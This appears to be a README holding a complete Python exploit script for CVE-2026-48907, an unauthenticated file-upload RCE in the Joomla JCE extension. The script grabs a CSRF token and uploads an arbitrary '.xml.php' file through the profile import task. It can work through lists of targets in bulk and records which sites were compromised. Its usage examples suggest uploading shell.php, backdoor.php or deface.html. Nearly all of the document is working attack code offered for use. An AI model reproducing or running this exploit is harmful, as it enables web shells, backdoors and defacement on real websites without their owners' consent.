README.md
Rendering markdown...
#!/usr/bin/env python3
from random import randint
import re
from time import sleep
from requests import Session
import urllib3
import argparse
import sys
import os
# ============================================================
# CVE-2026-48907 Exploit - Custom File Upload
# ============================================================
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
CYAN = '\033[96m'
BOLD = '\033[1m'
RESET = '\033[0m'
def read_custom_file(filepath):
"""Read the custom file content to upload"""
try:
with open(filepath, 'r') as f:
return f.read()
except FileNotFoundError:
print(f"{RED}[!] File not found: {filepath}{RESET}")
sys.exit(1)
except Exception as e:
print(f"{RED}[!] Error reading file: {e}{RESET}")
sys.exit(1)
def exploit(url, payload_content, verbose=False):
# Disable SSL verification warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Generate random filename
TMP_FILE = f"cve-2026-48907-{randint(1000, 9999)}.xml.php"
PAYLOAD = payload_content
s = Session()
s.verify = False
print(f"\n[{CYAN}+{RESET}] Target: {url}")
print(f"[{CYAN}+{RESET}] Fetching CSRF token...")
try:
r = s.get(url + "/", timeout=15)
if r.status_code != 200:
print(f"[{RED}-{RESET}] Failed to access the target")
return False
except Exception as e:
print(f"[{RED}-{RESET}] Connection error: {e}")
return False
# Find CSRF token
m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', r.text) or re.search(
r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"', r.text, re.I
)
if m is None:
print(f"[{RED}-{RESET}] Failed to find CSRF token")
return False
CSRF_TOKEN = m.group(1)
print(f"[{CYAN}+{RESET}] CSRF Token: {CSRF_TOKEN}")
# Upload the file
print(f"[{CYAN}+{RESET}] Uploading file: {TMP_FILE}")
try:
r = s.post(
url + "/index.php?option=com_jce",
files={"profile_file": (TMP_FILE, PAYLOAD, "application/xml")},
data={"task": "profiles.import", CSRF_TOKEN: "1"},
timeout=15
)
if r.status_code != 200:
print(f"[{RED}-{RESET}] Failed to import profile")
print(f"[{GREEN}✓{RESET}] Not vulnerable to cve-2026-48907")
return False
except Exception as e:
print(f"[{RED}-{RESET}] Upload error: {e}")
return False
print(f"[{CYAN}+{RESET}] Profile imported successfully!")
# Test the uploaded file
print(f"[{CYAN}+{RESET}] Testing uploaded file...")
try:
r = s.get(url + f"/tmp/{TMP_FILE}", timeout=15)
except Exception as e:
print(f"[{RED}-{RESET}] Error testing file: {e}")
return False
file_url = f"{url}/tmp/{TMP_FILE}"
# Check if file was uploaded and accessible
if r.status_code == 200:
print(f"\n{'='*60}")
print(f"{GREEN}[!!!!!] FILE UPLOADED SUCCESSFULLY!{RESET}")
print(f"{GREEN}[!!!!!] Server IS VULNERABLE to CVE-2026-48907!{RESET}")
print(f"{'='*60}")
print(f"\n[{CYAN}+{RESET}] View your uploaded file: {file_url}")
print(f"\n[{CYAN}+{RESET}] Quick access:")
print(f" curl \"{file_url}\"")
return True
else:
print(f"\n{'='*60}")
print(f"{GREEN}[✓] Not vulnerable to CVE-2026-48907{RESET}")
print(f"{'='*60}")
print(f"\n[{YELLOW}!{RESET}] File uploaded but may not be accessible.")
print(f"[{YELLOW}!{RESET}] Try manually: {file_url}")
return False
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-48907 Exploit - Custom File Upload',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 exploit.py -u http://target.com -F payload.php
python3 exploit.py -f targets.txt -F shell.php
python3 exploit.py -u http://target.com -F deface.html -v
python3 exploit.py -f targets.txt -F backdoor.php -o results.txt
"""
)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u', '--url', help='Single target URL (e.g., http://target.com)')
group.add_argument('-f', '--file', help='File containing list of target URLs (one per line)')
parser.add_argument('-F', '--upload-file', required=True,
help='Custom file to upload (e.g., shell.php, deface.html)')
parser.add_argument('-v', '--verbose', action='store_true',
help='Enable verbose output')
parser.add_argument('-o', '--output',
help='Save successful upload URLs to file')
args = parser.parse_args()
# Read the custom file content
payload_content = read_custom_file(args.upload_file)
print(f"[{CYAN}+{RESET}] Loaded custom file: {args.upload_file} ({len(payload_content)} bytes)")
# Build URL list
if args.url:
urls = [args.url.rstrip('/')]
else:
try:
with open(args.file, 'r') as f:
urls = [line.strip().rstrip('/') for line in f if line.strip() and not line.startswith("#")]
except FileNotFoundError:
print(f"{RED}[!] File not found: {args.file}{RESET}")
sys.exit(1)
except Exception as e:
print(f"{RED}[!] Error reading file: {e}{RESET}")
sys.exit(1)
if not urls:
print(f"{RED}[!] No targets found in file!{RESET}")
sys.exit(1)
# ─── RED ASCII BANNER ───
ascii_banner = r"""
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
"""
print(RED + ascii_banner + RESET)
print(f"\n{BOLD}{CYAN}Joomla! JCE extension < 2.9.99.5 Unauthenticated RCE{RESET}")
print(f"{YELLOW}Author : 0xgh057r3c0n {RESET}\n")
print(f"[*] Loaded {len(urls)} target(s)\n")
# Open output file if specified
if args.output:
out_file = open(args.output, 'w')
out_file.write(f"# CVE-2026-48907 - Successful Upload URLs\n")
out_file.write(f"# Targets tested: {len(urls)}\n")
out_file.write(f"# Uploaded file: {args.upload_file}\n\n")
success_count = 0
for i, url in enumerate(urls, 1):
print(f"\n[{YELLOW}*{RESET}] Target {i}/{len(urls)}")
print(f"[{YELLOW}*{RESET}] {'='*50}")
result = exploit(url, payload_content, args.verbose)
if result:
success_count += 1
upload_url = f"{url}/tmp/cve-2026-48907-*.xml.php"
if args.output:
out_file.write(f"{url}\n")
if i < len(urls):
print(f"\n[{YELLOW}*{RESET}] Moving to next target...")
# Summary
print(f"\n{'='*60}")
print(f"{BOLD}Scan Complete!{RESET}")
print(f"[*] Total targets: {len(urls)}")
print(f"{GREEN}[+] Successfully uploaded: {success_count}{RESET}")
if len(urls) - success_count > 0:
print(f"{RED}[-] Failed: {len(urls) - success_count}{RESET}")
print(f"{'='*60}")
if args.output:
out_file.write(f"\n# Successfully uploaded: {success_count}\n")
out_file.close()
print(f"\n[{CYAN}+{RESET}] Results saved to: {args.output}")
if success_count > 0:
sys.exit(0)
else:
sys.exit(1)
if __name__ == "__main__":
main()